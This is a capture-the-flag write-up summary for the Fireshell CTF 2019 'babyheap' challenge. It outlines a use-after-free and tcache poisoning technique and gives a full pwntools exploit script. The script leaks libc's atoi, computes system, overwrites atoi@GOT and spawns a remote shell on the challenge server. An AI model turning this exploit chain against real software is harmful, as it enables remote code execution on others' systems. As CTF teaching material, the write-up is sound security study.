Full writeup: ![https://github.com/happysox/CTF_Writeups/tree/master/Fireshell_CTF_2019/babyheap](https://github.com/happysox/CTF_Writeups/tree/master/Fireshell_CTF_2019/babyheap)
### Summary
* Classic menu-style heap challenge* "Limited options" (malloc x2, write x1, free x1, leak x1)* Hidden function (option `1337`) = malloc+edit* UAF/tcache poisoning to overwrite arbitrary memory    * Leak and get an extra edit    * Overwrite `atoi@GOT` with `system` 
```python#!/usr/bin/python2from pwn import *
def add():    p.sendlineafter("> ", "1")
def edit(data):    p.sendlineafter("> ", "2")    p.sendlineafter("Content? ", data)
def show():    p.sendlineafter("> ", "3")
def delete():    p.sendlineafter("> ", "4")
def fill(data):    p.sendlineafter("> ", "1337")    p.sendafter("Fill ", data)
got_atoi = 0x0000000000602060bss = 0x00000006020A0
with context.quiet:    #p = process("./babyheap", env = {"LD_PRELOAD":"./libc.so.6"})    p = remote("51.68.189.144", 31005)    #p = remote("35.243.188.20", 2000)
    p.recvline()
    #UAF to get arbitrary pointer    add()    delete()    edit(p64(bss)) #On the next-next malloc, give me a pointer to bss (0x6020a0)    add()    #Now the next malloc will give us the pointer.
    #Malloc     #Zero out our "uses" and point "buf" to got_atoi    fill((chr(0x0)*0x28) + p64(got_atoi))
    #Leak libc address (atoi)    show()    p.recvuntil("Content: ")    libc_atoi= u64(p.recvline().strip().ljust(8, chr(0x0)))    print "Leaked libc_atoi: %s" % hex(libc_atoi)
    #Calculate system    offset_to_system = 0xf010    libc_system = libc_atoi + offset_to_system    print "Calced libc_system: %s" % hex(libc_system)
    #Win    edit(p64(libc_system))    p.sendlineafter("> ", "/bin/sh")    p.interactive()```